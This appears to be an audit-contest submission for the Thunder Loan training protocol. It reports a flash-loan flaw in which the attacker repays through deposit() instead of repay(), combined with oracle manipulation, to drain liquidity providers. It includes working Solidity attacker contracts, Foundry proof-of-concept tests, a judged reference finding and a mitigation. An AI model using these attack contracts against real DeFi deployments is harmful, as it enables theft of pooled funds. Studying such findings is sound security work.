Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

Flash-loan oracle manipulation + deposit() instead of repay() drains LP pool

Description

ThunderLoan calculates the flash-loan fee using a manipulable TSwap spot price. An attacker can crash the price, borrow at near-zero fee, and repay with a deposit() inside the callback instead of repay().

// src/protocol/ThunderLoan.sol
// Fee is derived from a manipulable spot oracle price
function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) {
//slither-disable-next-line divide-before-multiply
@> uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;
//slither-disable-next-line divide-before-multiply
fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
}
// Flash loan transfers tokens, executes untrusted callback, then checks balance only
function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 startingBalance = IERC20(token).balanceOf(address(assetToken));
uint256 fee = getCalculatedFee(token, amount);
@> assetToken.updateExchangeRate(fee);
@> s_currentlyFlashLoaning[token] = true;
assetToken.transferUnderlyingTo(receiverAddress, amount);
// Untrusted callback - receiver can call deposit()
receiverAddress.functionCall(
abi.encodeWithSignature(
"executeOperation(address,uint256,uint256,address,bytes)",
address(token),
amount,
fee,
msg.sender,
params
)
);
@> uint256 endingBalance = token.balanceOf(address(assetToken));
@> if (endingBalance < startingBalance + fee) {
@> revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
@> }
s_currentlyFlashLoaning[token] = false;
}
// deposit() has no reentrancy guard and can be invoked during the flash-loan callback
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
@> assetToken.mint(msg.sender, mintAmount);
uint256 calculatedFee = getCalculatedFee(token, amount);
@> assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}

Risk

Likelihood:

  • The TSwap spot price used by getCalculatedFee() can be manipulated in the same transaction by swapping a large amount of WETH or the underlying token before calling flashloan(), so the attacker controls the price feed.

  • The flash-loan callback is an untrusted external call to any contract, and no access control or reentrancy guard prevents that contract from calling deposit() back into ThunderLoan.

Impact:

  • Direct theft of LP funds: the attacker redeems AssetToken shares minted via the callback and extracts close to the full borrowed amount, leaving the vault undercollateralized.

  • Protocol insolvency: after the exploit, the original LP cannot fully redeem their shares because the vault balance is lower than the recorded exchange-rate liabilities.


Proof of Concept

The PoC manipulates the TSwap spot price, requests a flash loan, calls deposit() in the callback, and redeems the minted shares. The attacker extracts ~90% of the borrowed amount while the LP cannot redeem.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import { ThunderLoan } from "src/protocol/ThunderLoan.sol";
import { AssetToken } from "src/protocol/AssetToken.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/// @notice Attacker receiver: deposits borrowed tokens instead of repaying
contract FullChainReceiver {
using SafeERC20 for IERC20;
ThunderLoan public immutable thunderLoan;
uint256 public sharesMinted;
constructor(address _thunderLoan) {
thunderLoan = ThunderLoan(_thunderLoan);
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address,
bytes calldata
) external returns (bool) {
IERC20 underlying = IERC20(token);
underlying.forceApprove(address(thunderLoan), amount + fee);
@> thunderLoan.deposit(underlying, amount + fee); // deposit instead of repay
AssetToken asset = thunderLoan.getAssetFromToken(underlying);
sharesMinted = asset.balanceOf(address(this));
return true;
}
function redeemAll(IERC20 token) external {
AssetToken asset = thunderLoan.getAssetFromToken(token);
thunderLoan.redeem(token, asset.balanceOf(address(this)));
}
}
/// @dev Foundry test: oracle manipulation -> flash loan -> deposit -> redeem -> LP drain.
contract FullExploitChainTest {
ThunderLoan thunderLoan;
IERC20 token;
address attacker = address(0x1);
address lp = address(0x2);
function test_H12_PoC_fullExploitChain_drainsLp() public {
AssetToken asset = thunderLoan.getAssetFromToken(token);
uint256 poolBefore = token.balanceOf(address(asset));
// 1. Manipulate TSwap spot price down
uint256 fairFee = thunderLoan.getCalculatedFee(token, 100e18);
// helper that swaps against TSwap to push the spot price down
manipulateOracleDown();
uint256 manipulatedFee = thunderLoan.getCalculatedFee(token, 100e18);
assertLt(manipulatedFee, fairFee / 100);
// 2. Flash loan at near-zero fee
FullChainReceiver receiver = new FullChainReceiver(address(thunderLoan));
token.mint(address(receiver), 100e18 + manipulatedFee);
vm.prank(attacker);
@> thunderLoan.flashloan(address(receiver), token, 100e18, "");
// 3. Redeem attacker shares
vm.prank(address(receiver));
receiver.redeemAll(token);
uint256 attackerProfit = token.balanceOf(address(receiver));
uint256 poolAfter = token.balanceOf(address(asset));
assertGt(attackerProfit, 100e18 * 90 / 100);
assertLt(poolAfter, poolBefore);
// 4. LP can no longer redeem
vm.prank(lp);
vm.expectRevert();
thunderLoan.redeem(token, type(uint256).max);
}
}

Recommended Mitigation

Block deposit() and redeem() during an active flash loan by checking s_currentlyFlashLoaning[token]. Add nonReentrant guards to all state-changing functions.

// 1. Inherit OpenZeppelin ReentrancyGuardUpgradeable
import { ReentrancyGuardUpgradeable } from "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
contract ThunderLoan is
Initializable,
OwnableUpgradeable,
UUPSUpgradeable,
ReentrancyGuardUpgradeable,
OracleUpgradeable
{
// 2. Add a custom error for active flash loans
error ThunderLoan__FlashLoanInProgress();
function initialize(address tswapAddress) external initializer {
__Ownable_init();
__UUPSUpgradeable_init();
@> __ReentrancyGuard_init();
__Oracle_init(tswapAddress);
s_feePrecision = 1e18;
s_flashLoanFee = 3e15; // 0.3% ETH fee
}
// 3. Block deposit and redeem during an active flash loan
function deposit(IERC20 token, uint256 amount)
external
nonReentrant
revertIfZero(amount)
revertIfNotAllowedToken(token)
{
@> if (s_currentlyFlashLoaning[token]) {
@> revert ThunderLoan__FlashLoanInProgress();
@> }
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
uint256 calculatedFee = getCalculatedFee(token, amount);
assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
function redeem(IERC20 token, uint256 amountOfAssetToken)
external
nonReentrant
revertIfZero(amountOfAssetToken)
revertIfNotAllowedToken(token)
{
@> if (s_currentlyFlashLoaning[token]) {
@> revert ThunderLoan__FlashLoanInProgress();
@> }
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
if (amountOfAssetToken == type(uint256).max) {
amountOfAssetToken = assetToken.balanceOf(msg.sender);
}
uint256 amountUnderlying = (amountOfAssetToken * exchangeRate) / assetToken.EXCHANGE_RATE_PRECISION();
emit Redeemed(msg.sender, token, amountOfAssetToken, amountUnderlying);
assetToken.burn(msg.sender, amountOfAssetToken);
assetToken.transferUnderlyingTo(msg.sender, amountUnderlying);
}
// 4. Add nonReentrant to flashloan as well
function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params)
external
nonReentrant
{
// existing flash loan logic
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!